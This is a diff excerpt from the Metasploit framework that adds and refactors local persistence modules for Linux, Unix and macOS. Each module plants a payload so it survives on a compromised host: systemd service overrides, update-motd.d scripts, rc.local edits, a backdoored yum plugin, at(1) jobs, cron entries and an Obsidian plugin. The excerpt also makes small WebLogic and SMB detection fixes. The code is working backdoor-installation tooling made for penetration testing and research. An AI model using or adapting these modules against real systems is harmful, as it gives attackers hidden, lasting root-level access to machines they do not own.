'Platform' => ['unix', 'linux'],
'Privileged' => true,
'Targets' => [
['systemd', {}],
['systemd user', {}]
],
'DefaultTarget' => 0,
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'References' => [
['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'],
['URL', 'https://askubuntu.com/a/659268'],
['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files
['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
],
'SessionTypes' => ['shell', 'meterpreter'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'DisclosureDate' => '2010-03-30' # systemd release date
)
)
register_options(
[
OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']),
]
)
register_advanced_options(
[
OptBool.new('ReloadService', [true, 'Reload the service', true])
]
)
end
def check
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
root_dir = '/lib/systemd/system/'
service_file = "#{root_dir}#{datastore['SERVICE']}.service"
return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file)
service_root_dir = '/etc/systemd/system/'
service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d"
override_conf = "#{service_dir}/override.conf"
if directory?(service_dir)
return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf)
return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir)
else
return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir)
end
CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
end
def install_persistence
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d"
override_conf = "#{service_dir}/override.conf"
unless exists?(service_dir)
vprint_status("Creating #{service_dir}")
create_process('mkdir', args: ['-p', service_dir])
end
if exists?(override_conf)
conf = read_file(override_conf)
backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup")
vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}")
@clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n"
else
@clean_up_rc << "rm #{override_conf}\n"
end
if payload.arch.first == 'cmd'
p_load = payload.encoded
p_load = ' &' unless p_load.end_with?('&')
contents = <<~OVERRIDE
[Service]
ExecStartPost=/bin/sh -c '#{p_load}'
OVERRIDE
else
payload_path = writable_dir
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
print_status("Uploading payload file to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
contents = <<~OVERRIDE
[Service]
ExecStartPost=/bin/sh -c '#{payload_path} &'
OVERRIDE
end
vprint_status("Writing override file to: #{override_conf}")
write_file(override_conf, contents)
# This was taken from pam_systemd(8)
systemd_socket_id = cmd_exec('id -u')
systemd_socket_dir = "/run/user/#{systemd_socket_id}"
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload")
@clean_up_rc << "execute -f /bin/systemctl -a \"daemon-reload\"\n"
@clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\""
if datastore['ReloadService']
vprint_status("Reloading #{datastore['SERVICE']} service")
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service")
end
end
end
+102
View File
@@ -0,0 +1,102 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/motd_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'update-motd.d Persistence',
'Description' => %q{
This module will add a script in /etc/update-motd.d/ in order to persist a payload.
The payload will be executed with root privileges everytime a user logs in.
Root privileges are likely required to write to /etc/update-motd.d/.
Verified on Ubuntu 22.04
},
'License' => MSF_LICENSE,
'Author' => [ 'Julien Voisin' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'Payload' => {
'BadChars' => '#%\n"'
},
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [ ['Automatic', {}] ],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => '1999-01-01',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'References' => [
['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
]
)
)
register_options([
OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']),
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
])
end
def check
return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless exists? '/etc/update-motd.d/'
return CheckCode::Safe('/etc/update-motd.d/ is not writable') unless writable? '/etc/update-motd.d/'
print_warning("#{datastore['BACKDOOR_NAME']} already exists") if exists? "/etc/update-motd.d/#{datastore['BACKDOOR_NAME']}"
CheckCode::Appears('/etc/update-motd.d/ is writable')
end
def install_persistence
update_path = '/etc/update-motd.d/'
backdoor_path = "#{update_path}/#{datastore['BACKDOOR_NAME']}"
if exists? backdoor_path
fail_with Failure::BadConfig, "#{backdoor_path} is already present"
end
if payload.arch.first == 'cmd'
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
else
backdoor_path = writable_dir
backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
backdoor_path << backdoor_name
print_status("Uploading payload file to #{backdoor_path}")
upload_and_chmodx backdoor_path, generate_payload_exe
write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n"))
@clean_up_rc << "rm #{backdoor_path}\n"
end
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
@clean_up_rc << "rm #{backdoor_path}\n"
chmod(backdoor_path, 0o755)
print_status "#{backdoor_path} written"
print_good('Payload will be triggered at user login')
end
end
@@ -0,0 +1,119 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::Local::Persistence
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/rc_local_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'rc.local Persistence',
'Description' => %q{
This module will edit /etc/rc.local in order to persist a payload.
The payload will be executed on the next reboot.
Verified on Ubuntu 18.04.3
},
'License' => MSF_LICENSE,
'Author' => [ 'Eliott Teissonniere' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'Payload' => {
'BadChars' => '#%\n"'
},
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1037_004_RC_SCRIPTS]
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD.
'Targets' => [ ['Automatic', {}] ],
'Privileged' => true,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'DefaultTarget' => 0
)
)
register_options([
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
])
end
def check
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
# a few notes for those who like to read source code. On Ubuntu 18.04.3, when no
# /etc/rc.local file exists, systemctl status rc.local shows inactive (dead).
# When /etc/rc.local exists, systemctl status rc.local shows active (exited).
# so checking the service status isn't necessarily helpful.
if exists?('/etc/rc.local')
return CheckCode::Safe('/etc/rc.local isnt writable') unless writable?('/etc/rc.local')
else
return CheckCode::Safe('/etc/ isnt writable') unless writable?('/etc/')
end
CheckCode::Appears('/etc/rc.local is writable')
end
def install_persistence
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
rc_path = '/etc/rc.local'
print_status "Reading #{rc_path}"
# read /etc/rc.local, but remove `exit 0`
rc_local = '#!/bin/sh'
if exists? rc_path
rc_local = read_file(rc_path).gsub(/^exit.*$/, '')
backup_profile_path = store_loot('rc.local', 'text/plain', session, rc_local, 'rc.local', '/etc/rc.local backup')
print_status("Created /etc/rc.local backup: #{backup_profile_path}")
@clean_up_rc << "upload #{backup_profile_path} #{rc_path}\n"
else
@clean_up_rc << "rm #{rc_path}\n"
end
if payload.arch.first == 'cmd'
# add payload and put back `exit 0`
pload = payload.encoded
pload = "#{pload} &" unless pload.end_with?('&')
rc_local << "\n#{pload}\nexit 0\n"
print_status "Patching #{rc_path}"
else
payload_path = writable_dir
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
print_status("Uploading payload file to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
rc_local << "\n#{payload_path} &\nexit 0\n"
@clean_up_rc << "rm #{payload_path}\n"
end
# write new file
write_file(rc_path, rc_local)
chmod(rc_path, 0o755)
print_good('Payload will be triggered at next reboot')
end
end
@@ -5,10 +5,15 @@
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::System
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/yum_package_manager_persistence'
def initialize(info = {})
super(
@@ -16,11 +21,12 @@ class MetasploitModule < Msf::Exploit::Local
info,
'Name' => 'Yum Package Manager Persistence',
'Description' => %q{
This module will run a payload when the package manager is used. No
handler is ran automatically so you must configure an appropriate
exploit/multi/handler to connect. Module modifies a yum plugin to
launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
This module will run a payload when the package manager is used.
This module modifies a yum plugin to launch a binary of choice.
grep -F 'enabled=1' /etc/yum/pluginconf.d/
will show what plugins are currently enabled on the system.
root persmissions are likely required.
Verified on Centos 7.1
},
'License' => MSF_LICENSE,
'Author' => ['Aaron Ringo'],
@@ -36,18 +42,15 @@ class MetasploitModule < Msf::Exploit::Local
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultOptions' => {
'WfsDelay' => 0, 'DisablePayloadHandler' => true,
'Payload' => 'cmd/unix/reverse_python'
},
'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum
'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'Privileged' => true,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
@@ -55,8 +58,8 @@ class MetasploitModule < Msf::Exploit::Local
register_options(
[
# /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']),
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']),
OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write'])
]
)
@@ -68,53 +71,57 @@ class MetasploitModule < Msf::Exploit::Local
)
end
def exploit
def check
return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']
# checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
plugin = datastore['PLUGIN']
full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py"
print_status(full_plugin_path)
unless writable? full_plugin_path
fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system"
end
full_plugin_path = "#{datastore['PluginPath']}#{plugin}"
return CheckCode::Safe("#{full_plugin_path} does not exist") unless exists? full_plugin_path
return CheckCode::Safe("#{full_plugin_path} not writable") unless writable? full_plugin_path
return CheckCode::Safe('yum not found on system') unless command_exists? 'yum'
return CheckCode::Safe('sed not found on system, required for exploitation') unless command_exists? 'sed'
# /etc/yum.conf must contain plugins=1 for plugins to run at all
plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
unless plugins_enabled.include? 'plugins=1'
fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf'
end
print_good('Plugins are enabled!')
return CheckCode::Safe('Plugins are not set to be enabled in /etc/yum.conf') unless plugins_enabled.include? 'plugins=1'
vprint_good('Plugins are enabled!')
# /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf"
plugin_conf = "/etc/yum/pluginconf.d/#{plugin.sub('.py', '')}.conf"
plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
unless plugin_enabled.include? 'enabled=1'
print_bad("#{plugin_conf} plugin is not configured to run")
fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"
return CheckCode::Safe("#{plugin_conf} plugin is not configured to run")
end
# plugins are made in python and generate pycs on successful execution
unless exist? "#{full_plugin_path}c"
print_warning('Either Yum has never been executed, or the selected plugin has not run')
end
# check for write in backdoor path and set/generate backdoor name
backdoor_path = datastore['WritableDir']
unless writable? backdoor_path
fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
end
backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
backdoor_path << backdoor_name
# check that the plugin contains an import os, to backdoor
import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
unless import_os_check.include? 'import os'
fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd"
return CheckCode::Safe("#{full_plugin_path} does not import os, which is odd")
end
CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable')
end
def install_persistence
plugin = datastore['PLUGIN']
full_plugin_path = "#{datastore['PluginPath']}/#{plugin}"
# plugins are made in python and generate pycs on successful execution
print_warning('Either Yum has never been executed, or the selected plugin has not run') unless exist? "#{full_plugin_path}c"
# check for write in backdoor path and set/generate backdoor name
payload_path = datastore['WritableDir']
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
# check for sed binary and then append launcher to plugin underneath
print_status('Attempting to modify plugin')
launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')"
sed_path = cmd_exec "command -v sed"
launcher = "os.system('setsid #{payload_path} 2>/dev/null \\& ')"
sed_path = cmd_exec 'command -v sed'
unless sed_path.include?('sed')
fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
end
@@ -123,17 +130,19 @@ class MetasploitModule < Msf::Exploit::Local
# actually write users payload to be executed then check for write
if payload.arch.first == 'cmd'
write_file(backdoor_path, payload.encoded)
write_file(payload_path, payload.encoded)
else
write_file(backdoor_path, generate_payload_exe)
write_file(payload_path, generate_payload_exe)
end
unless exist? backdoor_path
fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
@clean_up_rc << "rm #{payload_path}\n"
@clean_up_rc << "execute -f #{sed_path} -a \"-i /os\.system.*#{payload_name}/d #{full_plugin_path}\""
unless exist? payload_path
fail_with Failure::Unknown, "Failed to write #{payload_path}"
end
# change perms to reflect bins in /usr/local/bin/, give good feels
chmod(backdoor_path, 0755)
print_status("Backdoor uploaded to #{backdoor_path}")
print_status('Backdoor will run on next Yum update')
chmod(payload_path, 0o755)
print_status("Backdoor uploaded to #{payload_path}")
print_good('Backdoor will run on next Yum update')
end
end
@@ -209,6 +209,8 @@ class MetasploitModule < Msf::Exploit::Remote
end
share_info.each do |share|
next if share.blank?
next if share.first.blank?
next if share.first.upcase == 'IPC$'
found = find_writeable_path(share.first)
@@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Unknown('Failed to obtain response from service') unless res
/WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
/WebLogic\s+Server[ -]+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
return CheckCode::Unknown('Failed to detect WebLogic') unless version
@version_no = Rex::Version.new(version)
@@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Unknown('Failed to obtain response from service') unless res
/WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
/WebLogic\s+Server[ -]+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
return CheckCode::Unknown('Failed to detect WebLogic') unless version
@version_no = Rex::Version.new(version)
+112
View File
@@ -0,0 +1,112 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Local::Timespec
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/unix/local/at_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'at(1) Persistence',
'Description' => %q{
This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box
with any UNIX-like operating system with atd running.
Verified on Kali linux and OSX 13.7.4
},
'License' => MSF_LICENSE,
'Author' => [
'Jon Hart <jon_hart@rapid7.com>'
],
'Targets' => [['Automatic', {} ]],
'DefaultTarget' => 0,
'Platform' => %w[unix linux osx],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['meterpreter', 'shell'],
'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
'References' => [
['URL', 'https://linux.die.net/man/1/at'],
['URL', 'https://www.geeksforgeeks.org/at-command-in-linux-with-examples/'],
['ATT&CK', Mitre::Attack::Technique::T1053_002_AT],
['ATT&CK', Mitre::Attack::Technique::T1053_001_AT_LINUX],
],
'Notes' => {
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('TIME', [false, 'When to run job via at(1). See timespec', 'now']),
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
])
end
def check
return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']
return CheckCode::Safe('at(1) not found on system') unless command_exists? 'at'
# we do a direct test with atq instead of reading at.allow and at.deny
token = Rex::Text.rand_text_alphanumeric(8)
if cmd_exec("atq && echo #{token}").include?(token)
return CheckCode::Vulnerable('at(1) confirmed to be usable as a persistence mechanism')
end
CheckCode::Safe('at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny')
end
def install_persistence
fail_with(Failure::BadConfig, "TIME option isn't valid timespec") unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore['TIME'])
payload_path = datastore['WritableDir']
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
vprint_status("Writing payload to #{payload_path}")
if payload.arch.first == 'cmd'
upload_and_chmodx(payload_path, payload.encoded)
else
# because the payloads contents is imported into the at job, we use a stub to call our payload
# as it doesn't like binary payloads directly
payload_path_exe = "#{payload_path}#{rand_text_alphanumeric(1..2)}"
# stub, but keep payload_path name for consistency
upload_and_chmodx(payload_path, "#!/bin/sh\n#{payload_path_exe} &\n")
upload_and_chmodx(payload_path_exe, generate_payload_exe)
@clean_up_rc << "rm #{payload_path_exe}\n"
end
@clean_up_rc << "rm #{payload_path}\n"
job = cmd_exec("at -f #{payload_path} #{datastore['TIME']}")
job_id = job.split(' ')[1]
print_good("at job created with id: #{job_id}")
# this won't actually do anything since its not in a shell
@clean_up_rc << "atrm #{job_id}\n"
print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
end
end
+186
View File
@@ -0,0 +1,186 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/cron_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cron Persistence',
'Description' => %q{
This module will create a cron or crontab entry to execute a payload.
The module includes the ability to automatically clean up those entries to prevent multiple executions.
syslog will get a copy of the cron entry.
Verified on Ubuntu 22.04.1, MacOS 13.7.4
},
'License' => MSF_LICENSE,
'Author' => [
'h00die <mike@shorebreaksecurity.com>'
],
'Platform' => ['unix', 'linux', 'osx'],
'Targets' => [
[ 'Cron', { path: '/etc/cron.d' } ],
[ 'User Crontab', { path: '/var/spool/cron/crontabs' } ],
[ 'OSX User Crontab', { path: '/var/at/tabs/' } ],
[ 'System Crontab', { path: '/etc/crontab' } ]
],
'DefaultTarget' => 1,
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DisclosureDate' => '1979-07-01', # Version 7 Unix release date (first cron implementation)
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1053_003_CRON]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
OptString.new('USER', [false, 'User to run cron/crontab as', ''], conditions: ['Targets', 'in', ['User Crontab', 'OSX User Crontab']]),
OptString.new('TIMING', [false, 'Cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
]
)
end
def check
# https://gist.github.com/istvanp/310203 for cron regex validator
cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'
cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'
cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'
cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
return CheckCode::Unknown('Invalid timing format') unless datastore['TIMING'] =~ /#{cron_regex}/
return CheckCode::Safe("#{target.opts[:path]} doesn't exist") unless exists?(target.opts[:path])
# it may not be directly writable, but we can use crontab to write it for us
if !writable?(target.opts[:path]) && !command_exists?('crontab')
return CheckCode::Safe("Can't write to: #{target.opts[:path]} or crontab not found")
end
if target.name == 'User Crontab' && !user_cron_permission?(target_user)
return CheckCode::Unknown('User denied cron via cron.deny')
end
CheckCode::Appears('Cron timing is valid, no cron.deny entries found')
end
def target_user
return datastore['USER'] unless datastore['USER'].blank?
whoami
end
def user_cron_permission?(user)
# double check we're allowed to do cron
# may also be /etc/cron.d/
paths = ['/etc/', '/etc/cron.d/']
paths.each do |path|
if readable?("#{path}cron.allow")
cron_auth = read_file("#{path}cron.allow")
if cron_auth && (cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/)
vprint_good("User located in #{path}cron.allow")
return true
end
end
next unless readable?("#{path}cron.deny")
cron_auths = read_file("#{path}cron.deny")
if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
vprint_error("User located in #{path}cron.deny")
return false
end
end
# no guidance, so we should be fine
true
end
def install_persistence
cron_entry = datastore['TIMING']
cron_entry += " #{target_user}" unless ['User Crontab', 'OSX User Crontab'].include?(target.name)
if payload.arch.first == 'cmd'
payload_info['BadChars'] = "#%\x10\x13"
cron_entry += " #{regenerate_payload.encoded}"
payload_info.delete('BadChars')
else
file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
backdoor = "#{writable_dir}/#{file_name}"
vprint_status("Writing backdoor to #{backdoor}")
upload_and_chmodx backdoor, generate_payload_exe
cron_entry += " #{backdoor}"
end
case target.name
when 'Cron'
our_entry = Rex::Text.rand_text_alpha(8..15)
write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")
vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")
@clean_up_rc << "rm #{target.opts[:path]}/#{our_entry}\n"
when 'System Crontab'
file_to_clean = target.opts[:path].to_s
crontab_backup = store_crontab_backup(file_to_clean, 'system crontab backup')
append_file(file_to_clean, "\n#{cron_entry}\n")
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
@clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n"
when 'User Crontab', 'OSX User Crontab'
path = target.opts[:path]
if !writable?(path)
print_status("Utilizing crontab since we can't write to #{path}")
cmd_exec("echo \"#{cron_entry}\" | crontab -")
else
file_to_clean = "#{path}/#{target_user}"
crontab_backup = store_crontab_backup(file_to_clean, 'user crontab backup')
append_file(file_to_clean, "\n#{cron_entry}\n")
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
# at least on ubuntu, we need to reload cron to get this to work
vprint_status('Reloading cron to pickup new entry')
cmd_exec('service cron reload') if target.name == 'User Crontab'
@clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n"
end
end
print_good('Payload will be triggered when cron time is reached')
end
def store_crontab_backup(path, desc)
crontab_backup_content = read_file(path)
location = store_loot("crontab.#{path.split('/').last}",
'text/plain', session, crontab_backup_content,
path.split('/').last, desc)
vprint_good("Backed up #{path} to #{location}")
location
end
end
@@ -9,6 +9,9 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::File
include Msf::Post::Unix # whoami
include Msf::Auxiliary::Report
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Deprecated
moved_from 'exploits/multi/local/obsidian_plugin_persistence'
def initialize(info = {})
super(
@@ -41,14 +44,11 @@ class MetasploitModule < Msf::Exploit::Local
'Arch' => [ARCH_CMD],
'Platform' => %w[osx linux windows],
'DefaultOptions' => {
# 25hrs, you know, just in case the user doesn't open Obsidian for a while
'WfsDelay' => 90_000,
'PrependMigrate' => true
},
'Payload' => {
'BadChars' => '"'
},
'Stance' => Msf::Exploit::Stance::Passive,
'Targets' => [
['Auto', {} ],
['Linux', { 'Platform' => 'unix' } ],
@@ -69,6 +69,7 @@ class MetasploitModule < Msf::Exploit::Local
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),
])
deregister_options('WritableDir')
end
def plugin_name
@@ -213,7 +214,7 @@ var ExamplePlugin = class extends import_obsidian.Plugin {
CheckCode::Safe('No vaults found')
end
def exploit
def install_persistence
plugin = plugin_name
print_status("Using plugin name: #{plugin}")
vaults = find_vaults
@@ -229,9 +230,11 @@ var ExamplePlugin = class extends import_obsidian.Plugin {
end
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))
@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/main.js\n"
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json")
